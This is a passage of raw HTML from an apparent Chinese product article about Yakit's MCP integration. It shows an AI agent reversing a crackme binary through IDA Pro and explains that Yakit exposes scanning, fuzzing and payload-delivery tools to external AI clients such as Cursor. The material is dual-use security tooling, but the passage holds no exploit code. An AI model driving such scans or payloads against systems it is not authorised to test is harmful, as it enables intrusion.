&#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">1.动态工具链发现</span></span></strong></span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-align: left;"><span leaf="" mpa-font-style="mq8w1dj51nkj" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">当 Yakit 的 Agent 启动并连接到一个外部的 MCP Server（例如一个封装了 IDA Pro 能力的MCP）时，</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">Agent 会主动发起握手，获取该 Server 暴露的所有工具清单。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mq8w1dj51ut1" style="font-size: 15px;" data-mpa-action-id="mqal5t3914du" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">系统会在底层将这些外部工具动态解析，并映射为 Agent 可理解的函数签名。为了防止不同工具间的命名冲突，系统会使用特定的命名路由规范（例如统一前缀 </span></span><code><span style="letter-spacing: 1px;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mqal5t2y1aqk"><span leaf="">mcp_</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">加上服务名和工具名）。这样，AI 在面对复杂任务时，其“工具箱”是清晰可见且边界明确的。</span></span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 11 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">2.<span textstyle="" style="letter-spacing: 1px;">逆向工程实战：与 IDA Pro 的无缝联动</span></span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mq8w1dj5159a" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">想象一个场景：你需要分析一个未知的二进制样本，找出其中密码。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-indent: 0px;text-align: left;"><span leaf="" mpa-font-style="mq8w1dj58ub" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">在过去，这需要安全工程师在反汇编界面中反复跳转、查阅交叉引用。而现在，通过使用针对IDA Pro 设计封装的 MCP Server，Yakit 的 Agent 能够直接接入其上下文。当 Agent 接收到指令后，它会在其“工具箱”中选择调用 IDA 的反编译接口，获取关键函数的伪代码，并自主推导出密码逻辑。</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">整个过程，AI 的每一步调用都是基于明确的工具 Schema，而非主观臆测。</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mq8wd6eu5tx" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-height="1650" data-imgfileid="100046252" data-ratio="0.6506309148264984" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-type="png" data-w="2536" data-width="2536" src="https://wechat2rss.xlab.app/img-proxy/?k=cec36755&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72EmlUssn0IbicnXMAun5Dr9wU5Yib9ftqGhs6XwJA4iatsjNamiaruaajn11l7wOb3Md3Ico8gwiaNLarahEpgHdX6buxxkq4Jzu7Jc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mq8w3khj1q0a" data-mpa-action-id="mq8w3khq1zgl" data-pm-slice="0 0 []"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">首先安装ida-pro-mcp。接着IDA中打开crackme二进制文件，可以在左下角看到MCP启动了。接着在Memfit中添加MCP服务器。</span></span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mq8wdff0wjw" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-height="1154" data-imgfileid="100046251" data-ratio="0.4974137931034483" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-type="png" data-w="2320" data-width="2320" src="https://wechat2rss.xlab.app/img-proxy/?k=fd73e801&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72EVDYUJ6956jrpTDk1O5M23IQJ0XquZfueibGG2NL3DPWU1JjtNlzyweFfMErg0icuicyXASqAhhJ2woCAJP6oMMicRNfjGhKSrdRQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">在添加完成后即可查看MCP服务器提供的工具列表。</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;text-align: center;" data-mpa-action-id="mq8wdrrj1rfo" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-height="740" data-imgfileid="100046250" data-ratio="1.2758620689655173" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-type="png" data-w="580" data-width="580" src="https://wechat2rss.xlab.app/img-proxy/?k=51eee7f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72E2XworKAEw3mXPsFvLgahRiar3q07sIicBt3HlkkDBWPMicThsm2VZBic0yqyJIic5Ga4vKmich7LPTygwEXBvRWLfMBrSfEDQgz3HA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">接着在Agent页面使用ida-pro-mcp中提供的样例提示词对Agent发出请求。</span></span></p><pre style="white-space:pre-wrap;"><code data-lark-language="SQL" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf="">You task <span class="code-snippet__keyword">is</span> <span class="code-snippet__keyword">to</span> analyze a crackme <span class="code-snippet__keyword">in</span> IDA Pro. </span></code><br/><br/><code><span leaf="">You can use the MCP tools <span class="code-snippet__keyword">to</span> retrieve information. <span class="code-snippet__keyword">In</span> general use the following strategy: </span></code><br/><br/><code><span leaf=""><span class="code-snippet__operator">-</span> Inspect the decompilation <span class="code-snippet__keyword">and</span> <span class="code-snippet__keyword">add</span> comments <span class="code-snippet__keyword">with</span> your findings </span></code><br/><br/><code><span leaf=""><span class="code-snippet__operator">-</span> Rename variables <span class="code-snippet__keyword">to</span> more sensible names </span></code><br/><br/><code><span leaf=""><span class="code-snippet__operator">-</span> Change the variable <span class="code-snippet__keyword">and</span> argument types if necessary (especially pointer <span class="code-snippet__keyword">and</span> <span class="code-snippet__keyword">array</span> types) </span></code><br/><br/><code><span leaf=""><span class="code-snippet__operator">-</span> Change <span class="code-snippet__keyword">function</span> names <span class="code-snippet__keyword">to</span> be more descriptive </span></code><br/><br/><code><span leaf=""><span class="code-snippet__operator">-</span> If more details <span class="code-snippet__keyword">are</span> necessary, disassemble the <span class="code-snippet__keyword">function</span> <span class="code-snippet__keyword">and</span> <span class="code-snippet__keyword">add</span> comments <span class="code-snippet__keyword">with</span> your findings <span class="code-snippet__operator">-</span> NEVER <span class="code-snippet__keyword">convert</span> number bases yourself. Use the convert_number MCP tool if needed<span class="code-snippet__operator">!</span> </span></code><br/><br/><code><span leaf=""><span class="code-snippet__operator">-</span> Do <span class="code-snippet__keyword">not</span> attempt brute forcing, derive <span class="code-snippet__keyword">any</span> solutions purely <span class="code-snippet__keyword">from</span> the disassembly <span class="code-snippet__keyword">and</span> simple python scripts <span class="code-snippet__operator">-</span> <span class="code-snippet__keyword">Create</span> a report.md <span class="code-snippet__keyword">with</span> your findings <span class="code-snippet__keyword">and</span> steps taken <span class="code-snippet__keyword">at</span> the <span class="code-snippet__keyword">end</span> </span></code><br/><br/><code><span leaf=""><span class="code-snippet__operator">-</span> <span class="code-snippet__keyword">When</span> you find a solution, prompt <span class="code-snippet__keyword">to</span> <span class="code-snippet__keyword">user</span> <span class="code-snippet__keyword">for</span> feedback <span class="code-snippet__keyword">with</span> the password you found</span></code><br/><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">可以看到Agent正确加载了ida-pro-mcp提供的工具到Agent上下文。</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mq8wdzxd1aki" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-height="1662" data-imgfileid="100046253" data-ratio="0.48997641509433965" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-type="png" data-w="3392" data-width="3392" src="https://wechat2rss.xlab.app/img-proxy/?k=d39fdfa0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72ExBjTRaf686avw2icsjhvULMf0D1lT9otfypMBKWeHYFz6mX5hudEpvweexysN01sFtapVnjctJIomVDO0Wrl1kHT6fSpcxtKM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">在无人工干预的情况下最终得到结果</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mq8we5o519ay" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-height="1670" data-imgfileid="100046254" data-ratio="0.6033236994219653" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-type="png" data-w="2768" data-width="2768" src="https://wechat2rss.xlab.app/img-proxy/?k=017f91c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72EJDClINhvr9EPDKSBVAT5dIogrHyPkCuup8eIsvAgTNaAFEUJ5adgVS1sZkX8ichNia4DWhkiaAoIw8j5tdIG4gIPtwOicDAyHkoM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">经过验证结果正确。</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mq8wecjhfnd" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3699421965317919" data-type="png" data-w="692" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="692" data-height="256" data-imgfileid="100046255" src="https://wechat2rss.xlab.app/img-proxy/?k=660f686f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72EZrjCTXcia1XicLpQIbWTRDY9jObelpBpdaTjV8iaUUulxSbqzWgOGNIS2QXdbQ7Ba4SE7CDdElxfjY7v1EtygRqibsGRreyZ6G5E%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">三、边界拓展：Yakit 化身安全能力“供给站”</span></strong></p></div></div></div><p style="margin: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">MCP 协议的魅力在于其双向性。</span><span textstyle="" style="letter-spacing: 1px;">Yakit 不仅能作为客户端去调用别人，更能作为服务端（MCP Server）将自身强大的底层能力开放出去。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">这意味着什么？</span><span textstyle="" style="letter-spacing: 1px;">意味着如果你在使用 ClaudeCode、Codex、Cursor，或者企业内部自研的 AI 研判系统，你只需要通过标准协议连接到 Yakit 的 MCP Server，你的 AI 就能瞬间拥有 Yakit 的网络测绘、漏洞扫描甚至代码审计能力。</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">AI 可以直接下发扫描指令，并获取结构化的扫描结果，而无需关心底层的并发控制与网络通信。</span></span></p><p data-pm-slice="0 0 []" style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);font-weight: normal;">在右上角点击系统检测按钮，并在弹出界面的Yak Mcp栏点击去配置即可跳转到MCP Server配置界面。</span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-mpa-action-id="mqaq5re91p3p" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.46640625" data-s="300,640" data-type="png" data-w="1280" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046264" src="https://wechat2rss.xlab.app/img-proxy/?k=dac3d965&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72HYicjIpuzaQV9mhr5kbsibWNcCan1kyCcAWkyyictRhBpB4ju0z60arK6uzllBgkHoHfljlA64y7iaXzt8N2ic09GgztBhojwiaff5w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-mpa-action-id="mqaq62f216q0" data-pm-slice="0 0 []"><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100046265" data-ratio="0.6234375" data-s="300,640" type="block" data-type="png" data-w="1280" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=ea2634be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72HiaDpukME5ibORyWevErdslV1wE74ibAoPVlPqqjX6Vf1NxCDYWgyhV5ZGHe104CuKsdc5QtXMibq1agyIicRL0FTep8L0RFficjhSM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">为了让外部 AI 客户端能够按需、精准地调用这些能力，Yakit 在服务端配置界面提供了细粒度的工具控制。具体而言，Yakit 对外开放的能力被划分为</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">三大矩阵：</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 11 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">1.</span></span><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, \&#34;system-ui\&#34;, \&#34;Helvetica Neue\&#34;, \&#34;PingFang SC\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: #ffffff;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 3px;outline: 0px;display: inline-block;width: 59%;vertical-align: top;align-self: flex-start;flex: 0 0 59%;min-width: 5%;height: auto;background-color: #ff8124;&#34;,&#34;data-width&#34;:&#34;59%&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: #ffffff;align-self: center;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;text-align: justify;color: #1b1b1b;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;font-size: 14px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">MCP 内置工具：硬核安全引擎的直接暴露</span></strong></span></strong></span></strong></span></p></div></div></div></div></div><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mq8wek4bkoa" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-height="1534" data-imgfileid="100046256" data-ratio="0.974587039390089" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-type="png" data-w="1574" data-width="1574" src="https://wechat2rss.xlab.app/img-proxy/?k=1c805efe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72FeZF0Oib83lSNMTE6kjkvK4wXJpG0GnHLSSQ41Rgpt9oCmooBUAVDlRniayib1DB8JfByATl0C3Gicv42Ak8miaibTIb6eRb3OicebOM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">如图所示，这类工具（来源标记为“MCP内置”）直接映射了 </span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">Yakit 最底层的传统核心安全引擎。</span></span></p><ul class="list-paddingleft-1"><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">能力范畴：包括 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mq8wh3av1hai" data-mpa-action-id="mq8wh3b4kem" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">web_crawler</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（网页爬虫）、</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">query_ports</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（端口测绘）、</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">hybrid_scan</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（混合扫描）、</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">http_fuzzer</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（Web 模糊测试）等。</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-indent: 0px;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">工程价值：这些工具是 Yak 语言生态中最成熟的部分。外部 AI 可以直接调用它们发起真实的扫描或攻击载荷投递。例如，Cursor 中的 AI 可以直接调用 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">query_http_flow</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 获取 Yakit 代理抓取到的 HTTP 流量，进而辅助开发者进行安全调试或漏洞复现。</span></span></p></li></ul><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang 